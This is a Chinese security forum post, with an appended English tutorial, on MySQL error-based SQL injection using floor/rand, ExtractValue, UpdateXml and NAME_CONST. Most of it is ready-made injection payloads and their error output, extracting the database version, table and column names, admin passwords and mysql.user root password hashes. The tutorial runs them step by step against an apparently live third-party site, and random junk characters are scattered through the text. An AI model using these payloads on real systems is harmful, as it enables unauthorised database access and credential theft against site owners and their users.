找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2805|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
7 R# {; w* X4 a9 ]( |: X, ~( K2 c% e首先进行正常查询:

mysql> select * from article where id = 1;
, ]% Q/ p5 @0 f/ _/ \6 u+—-+——-+———+4 r- @8 [. v5 c% H
| id | title | content |% W+ A# w$ _  ?8 j* c; ^6 J7 r: D, j
+—-+——-+———+
' i5 F. i3 p1 p9 A2 Q9 G|  1 | test  | do it   |
4 c  b: J8 j8 S  `: f: ~( |; o+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);; k) T/ |/ X- ?$ C* R3 q: v; m
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
1 y& y, f* O! s% T2 T2 c例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);' _" v) J  M3 E; ^3 T% N
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));$ ^: b8 q: S9 V& R+ h9 A! W# z
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
: L9 `; y% K' S& Y2 n! {  F! G& P测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
$ [8 S+ K* Z: ?- U" ]ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


" U! Q- a' F; W/ W& r  J
" O3 _2 H) b. b* }2 l) a

再收集:

# V5 z1 _4 k0 `8 ]$ H' w4 B: D4 L2 [
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
$ s" s( |1 W1 l0 R# c! g7 e
8 q5 M9 I. ~1 OErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’! r# w/ V; a. j7 K3 S

* u4 e# L; R5 ?( v" e' Chttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
8 o3 R* _7 Z( `, T# ~
# w  @* U3 l# U0 Z. s! wErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 6 T) i# o# d! F7 z0 F! V4 U
4 M# d9 G2 D  ]$ S# S6 E  @/ |
MYSQL高版本报错注入技巧-利用NAME_CONST注入
* x0 v7 q! M. W4 A. C' R- g/ O0 @It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. * K8 T1 \! M6 H3 Y1 g' @: i
! W* L' Y3 t5 b  ]- S8 ], n
1 i2 ^" [7 s" n1 a6 \
相关信息9 @$ q" q9 q( n% R1 v% g* {

  J! ]6 u/ e, X2 k2 l( JNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
& N! l% t. M0 p/ D7 C; |% ]: y
: m5 V, |2 f+ V) t- e1 E9 t4 _Code:& x* r& u9 M0 \
NAME_CONST(DATA, VALUE)
* ^1 v5 C, A* ~
" Z" q5 z. h" a& ]( T# \Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.3 ~/ T) H! A/ y6 `9 p7 ?5 a9 r
5 k8 h8 O2 Q6 a. e
SELECT NAME_CONST('TEST', 1)+ c& G$ d! S: d2 N& Y) g1 Z
+ ^' Y* G: J( V* Z/ N- f

) O( V. i: N6 j& b$ D
5 @( v+ X  w* [: r0 f! ~, m) o|---------------|; z( I% t7 b6 f1 \6 ?! X
|     TEST      |
" O( n5 D& h/ Y7 |  Q8 t( Y" w|               |
8 ]5 x% a: Q- r|---------------|5 n6 Z) k) N! X
|       1       |
0 T! u+ P& Z. S  N: t" h|               |
$ @7 A$ m+ X7 h8 q|---------------|
! R( b# [& R; O+ r, x" ~4 u( Y
9 a9 I- B: x! o* q; n9 O
0 J8 Q% J& N$ {+ U5 G9 V" Z$ g

6 M* G& ]% C. a0 Z9 R- T9 @1 q8 Y, }
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
& u$ @$ E3 x5 }. a( Q! YIntro to MySQL Variables6 b, P" \4 Q) K# O/ Z
4 a5 A2 D5 P/ M7 R0 }$ x
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
+ U! k# g# D4 f  W$ }- n! {3 X' h0 f  b* m( I
Code:3 f/ s7 L6 j4 [, m! j- L
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
/ A5 T& J. e. J4 N. O9 {  s3 C9 H6 h8 o1 F
; [. v: g5 k9 N. l. c0 ^/ X
. i) a) l. m2 P5 h7 ]. k8 Y

, J4 \8 h4 I  V: P# ~; D& j+ |' V7 w
Code:3 B' A3 n! s: r9 Z7 ?
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
$ ^) C- I8 r( Y, `. f6 [6 }
  j; q$ J, E) X  c, a3 q0 B

" [9 T& C& _' P; MVAR = Your MySQL variable.* Y8 T: K6 K, E) H
" o0 U( S+ \2 _8 n( B
MySQL 5.1.3 Server System Variables  l9 x. W& w( J, U& B
% u0 B2 |# q: O
Let's try it out on my site..* }; n% y! I8 |  P$ ~, r) n
0 P* }% t/ G- s+ j/ ^" r6 s
Code:
8 m6 g9 f4 ]4 x; }, E! E6 j: chttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--$ Q/ t% g' }% u/ T. [

3 i1 `8 d( d6 O+ A% C+ ?" vErroruplicate column name '5.0.27-community-nt'
- ^, ]0 v. u! m2 w( s

9 b' N5 _5 e  B- X! x5 X
& j0 U$ j: M6 v0 u' p- |: S& v( z2 i5 B  W5 D

) ~' L# y; Q3 C+ O- y- H5 Y% s  ^- s: _, n
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
% s. M( j$ M# o' E8 c& O& ^" c% H: ]+ [) U4 [% t- p
Data Extraction- X. D7 ~; Z# @$ Y* k8 u7 a6 r
% [1 s; @- E5 j
Code:9 Q5 }4 `( o3 F0 E0 ~6 c
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--3 @  M! E6 K" `/ \
) R' U0 C# @( k7 x' X0 v

" N: O" ^. Z" @We should get a duplicate column 1 error...* y2 Z6 j) U9 t7 x; p4 o; y1 @. ]0 A

. ^# G; X" x2 f( V" FCode:
5 z2 A" a, P) Thttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
/ q: g. e  T! `/ j/ ?
; y. K7 T0 B2 I/ I0 ]7 Q/ Y8 j6 QErroruplicate column name '1- @" C6 x  q! h% V% L8 z

; D6 ^2 }3 M  d2 c( _. f- ]8 X! y% M& Q6 e6 M7 k! L6 X! m# l2 ]

# a2 g1 c9 F1 u0 U" }1 q, P- T& a, u' k+ W/ A4 h, {* V

3 t# ^4 |, j# z1 j( v# q) f/ c0 }4 c6 a. ~* G8 G8 N  b& Q
Now let's get the tables out this bitch..- N1 x) R5 ]5 ~' k. C
; w$ h0 j6 |0 \
Code:
! c5 C- B( L: W+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--/ d2 T; `' ^7 S) b

$ O. ~; L: L/ u
% v4 t' F/ Y% V9 _' W; GLet's see if it works here, if it does, we can go on and finish the job.
! }% f% _: [0 _" ?: G9 w
( M2 q& |- `& NCode:+ }' v- V& h% A0 E9 Q. J
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--8 u/ @9 h% K% h2 g- A$ o- L

$ F6 f* T% D4 @3 I/ s  S+ [4 p3 H/ ]8 B$ L2 P& f+ g8 _6 k
Erroruplicate column name 'com_admanage0 u: Z4 r2 E' P( u* p  v6 R

2 ?; I( o' M3 D% w7 {1 S
5 s! e: f6 |- P! g) p( [4 }$ ~$ H! c3 v! u( r. ~! v3 t8 R3 ^

) i3 r+ ]2 B: w# M- m* t! ^: K. X) P5 Z
% I. a5 r/ c/ |% S0 D3 l

7 f8 o3 R5 w$ q/ c' l9 K, u7 RNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.1 z* A" Y& M& F8 e

; N) D3 q8 D; w8 ?# D. F/ `" zLet's get the columns out of the user table..
( p4 g5 D- Q$ }# H% e1 \! t1 E  I0 V6 {  t7 `, j, ?; F7 U4 [
Code:
  d& C" h0 D. r+ {- [+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
' O" N" q/ ?2 U4 N# _$ n

- S7 O7 U8 r! ]9 M9 Z
1 r( M2 H% H7 r+ }; L8 gSo mine looks like this, and I get the duplicate column name 'Host'.  {$ @- C/ I( q% h

3 [. i- S5 ^8 ACode:5 O' D: L7 o5 a6 ]( G# Q9 z2 \
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--# `; W4 y+ A5 n' f; ?
0 U8 t1 t$ e# d4 `% v
Erroruplicate column name 'Host'
- F8 }+ k5 s7 ^/ j1 \4 ~* \: `
# I& v4 C6 R+ B: P
& [7 y8 B, X' _0 w- v

2 c. ~  L( z; Z3 r! `% D
1 I3 w. B! R( `3 d/ c* y+ b3 i
5 Q( F" Z& ?% m* |5 v% u

1 j: d: l& f/ F9 q" w. oWoot, time to finish this bitch off.; X. m/ O9 A+ C7 D, v) r
; F2 s7 c& @& U+ }. g( p* U
Code:$ g0 B) A3 K+ c0 o" k+ j7 m
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--5 ~1 y" ~+ s1 i. O# h( j8 @

' p* g5 x. e$ J$ {8 {! ], h7 c( `
& z  s  l4 G* ]( F- }0 R: KSo mine looks like this...
  p- m# {8 z# \' L# s* i! M- ?+ D5 P& d
Code:
7 h$ g9 v1 Z  z. B6 F: ghttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--- L6 J& P& k7 a6 Z
+ V4 x% d4 c' }0 ]1 r" Q7 U. s
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
; A; X( ~! |" ~2 w4 k
6 J- |" ?# w9 F4 O' k

; Q9 B  K2 Z" _- H3 [6 Z6 m 4 q; }/ T% G/ b" B
' Y4 S! Z3 Q7 M; ~

8 M% d# `7 T. C5 [4 a- t2 H" r* K6 R9 O2 [; A  w
And there we have it, thanks for reading.
: O+ l. p* j1 P

: O6 r9 n) G9 V" |0 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表